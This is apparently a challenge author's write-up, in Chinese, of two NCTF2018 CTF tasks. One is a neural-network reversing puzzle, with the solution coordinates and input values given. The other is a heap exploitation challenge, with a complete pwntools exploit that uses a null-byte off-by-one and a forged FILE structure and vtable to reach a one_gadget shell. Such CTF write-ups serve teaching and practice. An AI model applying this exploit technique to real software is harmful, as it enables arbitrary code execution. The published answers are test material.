NCTF2018 NaiveNetwork & HouseOfAcdxvfsvd 出题思路

时间:2022-06-16
本文章向大家介绍NCTF2018 NaiveNetwork & HouseOfAcdxvfsvd 出题思路,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本文所述的题目源码已经开放到https://github.com/NJUPT-coding-gay/NCTF2018

NaiveNetwork

最近出题人不知道吃错了什么药,开始研究起了神经网络,于是就有了这道题。

关于神经网络的基本介绍和实现,可以参见这篇文章 BP神经网络及其C语言实现:https://zhuanlan.zhihu.com/p/27110594

出题人用C语言手撸了一个简单的BP神经网络,有两个输入和一个输出,一层隐藏层,隐藏层有50个神经元,激活函数都是sigmoid。为了让做题人黑盒分析出来(x),使用的训练样本是满足f(x, y) = (x + 2 * y) / 3的,10000组样本训练10000次,获得超过99%的准确率与1e-6以下的累积误差。

当然,一个这么简单的网络肯定是不够大师傅们玩的,所以辣鸡出题人又在后面增加了一层check。既然都是浮点数,那么就往几何上面靠。check的步骤如下:

  • 将34个输出两两配对,变成平面上的17个点的坐标
  • 检查第一个点是否是某一个定点
  • 检查这17个点是不是圆心为(0.5, 0.5),半径为0.25的圆上的17个两两等距离的点

这种初中几何难度的check,估计大师傅们还是秒,所以出题人让这个check模糊了起来:

  • 先选取第一点A和第二点B,用余弦定理计算角AOB的余弦
  • 随机选取点集中一个异于A、B的点C,用余弦定理计算角ACB的余弦
  • 用二倍角公式检查角AOB是否为角ACB的两倍
  • 选取连续的两个点A[i]和A[(i+1)%17],再随机选一点X,计算角A[i]XA[i+1]是否等于之前角ACB的余弦,对所有的i=0到16进行此check
  • 为了防止偶然现象,进行10000次check。由于神经网络误差和浮点数误差,判断标准为准确率超过99.3%即为通过。Flag生成只使用输入的小数点后两位,保证在通过验证的情况下不存在多个Flag。

逆向起来的思路大概就是这样:

  • 首先要能看出这个check检查的是圆上17个均匀的点(x,并且第一个点是一个定点
  • 用matlab mathematica或者手算(喵喵喵?)等方法可以写出这些点的坐标:
{
    {0.747193, 0.53736}, 
    {0.717005, 0.624133}, 
    {0.657509, 0.694142}, 
    {0.57674, 0.73793}, 
    {0.485608, 0.749585}, 
    {0.396419, 0.727532}, 
    {0.32122, 0.67475}, 
    {0.270165, 0.598367}, 
    {0.250151, 0.508698}, 
    {0.263881, 0.417855}, 
    {0.3095, 0.338106}, 
    {0.380847, 0.280222}, 
    {0.468286, 0.25202}, 
    {0.560008, 0.257309}, 
    {0.643626, 0.295375}, 
    {0.707847, 0.361076}, 
    {0.743996, 0.44554}
}
  • 不过有一个问题,不确定这些点应该顺时针排还是逆时针排。暂且都保留。
  • 分析神经网络,利用hook等方法获得一些输入输出对,画出一个图像,可以显然(x)看出,分布在一个平面上,拟合出平面的方程为x + 2y - 3z == 0.
  • 提取输入到输出的变换规则,可以得到方程组
seq_a[] = [5, 30, 32, 24, 13, 33, 29, 19, 9, 20, 10, 14, 6, 12, 18, 11, 0, 26, 21, 3, 2, 4, 22, 25, 8, 16, 23, 27, 17, 7, 1, 15, 31, 28]
seq_b[] = [22, 7, 13, 15, 29, 28, 30, 32, 12, 33, 27, 25, 9, 23, 5, 11, 6, 21, 24, 0, 19, 16, 10, 17, 14, 18, 31, 26, 20, 8, 3, 4, 1, 2]
for i in xrange(34):
    input[seq_a[i]] + 2 * input[seq_b[i]] == 3 * output[i]
  • 用z3 matlab或者手解(喵喵喵喵喵?)等方法解出方程组的解,不难发现只有逆时针的时候能解得一组全为0到1之间的解。

// ps: 为了凑这个方程组,出题人采用了传说中的猴子算法,每次随机打乱两个顺序数组,不停地解一下方程,直到都在0-1之间为止。实践证明这个算法还是挺靠谱的= =

最后拿到输入组

0.316222
0.881297
0.309929
0.621122
0.084098
0.332510
0.217116
0.545128
0.170498
0.373272
0.094003
0.598367
0.541776
0.599381
0.617180
0.915032
0.465110
0.028979
0.145475
0.309285
0.950950
0.706972
0.954535
0.741237
0.042336
0.782708
0.112150
0.547627
0.716762
0.686573
0.521824
0.469393
0.952252
0.648903

输入即可拿到Flag。

House of acdxvfsvd

这道题的出题灵感来自于某一次课程设计的时候写了个bug,基本也没怎么分配堆,就开了几个文件,一通操作之后堆炸了,后来学了pwn才知道,fopen分配 FILE结构体的时候会分配在堆上。

这个题设计的攻击思路是NULL-byte off by one + FSOP

程序设计了三种堆块的分配,大小分别为 0x208,0x608,0x408。同时限制了三种分配和释放的次数, 0x208能分配两块,任意次数,其他的只能分配一次,且只有一块。最后退出的时候,可以分配一个 0x808的堆块,写入完之后直接exit。漏洞在 read函数中,如果读入的数量刚好等于参数所给的数量的话,会在最后多补一个零,造成 Nullbyteoffbyone.

由于限制比较严,这个题目的攻击方法应该比较窄,基本思路如下:

malloc(homura)
malloc(cossack)
malloc(mozhucy)
free(cossack)
free(homura)
malloc(homura)
overflow cossack
malloc(homura)
read_file == malloc(io_file)
free(homura)
free(mozhucy)
malloc(comment)

泄露地址可以通过对homura堆块的反复分配与释放来获得。

在完成堆利用链之后,我们可以完全控制文件结构体所在块的内容,于是可以按照 fsop的思路,写一个假的虚表,在 io overflow字段放上 one gadget,然后将 FILE结构体覆写为我们伪造的 FILE结构体,最后调用 exit触发 one gadget

最后附上题目中出现的Homura所写的exp:

from pwn import *
p=process('./houseofacd',env={'LD_PRELOAD':'./libc-2.23.so'})
def addhomura(data):
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delehomura():
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('choice')
    p.sendline('2')
def addcoss(data):
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delecoss():
    p.recvuntil('choice')
    p.sendline('2')
    p.recvuntil('choice')
    p.sendline('2')
def addmo(data):
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('1')
    p.recvuntil('content')
    p.send(data)
def delemo():
    p.recvuntil('choice')
    p.sendline('3')
    p.recvuntil('choice')
    p.sendline('2')
def readfile():
    p.recvuntil('choice')
    p.sendline('4')
    p.sendline('aaaa')
addhomura('aaan')#1
addcoss('aaan')
addmo('aaan')
delecoss()
delehomura()#0
addhomura('a'*0x208)
addhomura('n')#2
readfile()
delehomura()#1
delemo()
delehomura()#0
addhomura('n')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice:n')
p.sendline('3')
heap = u64(p.recv(6).ljust(8,'x00'))
info(hex(heap))
delehomura()#0
addhomura('aaaaaaaan')#1
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('a'*8)
addr = u64(p.recv(6).ljust(8,'x00'))
libc_addr = addr - (0x00007fca72624b78-0x7fca72260000)
one = libc_addr + 0xf1147
info(hex(libc_addr))
table = p64(0)*2+p64(one)*19
fake = p64(libc_addr +(0x00007f59fbad2488-0x7f59a4135000))
fake+= 3*p64(0)
fake+=p64(heap)
fake+=p64(heap+0x10)
fake+=p64(0)*7
fake+= p64(libc_addr +(0x00007f59a44fa540 - 0x7f59a4135000))
fake +=p64(3)
fake +=2*p64(0)
fake +=p64(heap - 0x140)
fake +=p64(0xffffffffffffffff)
fake +=p64(0)
fake +=p64(heap - 0x130)
fake +=p64(0)*4
fake += p64(0x00000000ffffffff) 
fake += p64(0)
fake +=p64(heap -0x430)
delehomura()#0
addhomura(table+'n')#1
addhomura(fake+'n')#2
p.sendline('5')
p.sendline('a')
p.interactive()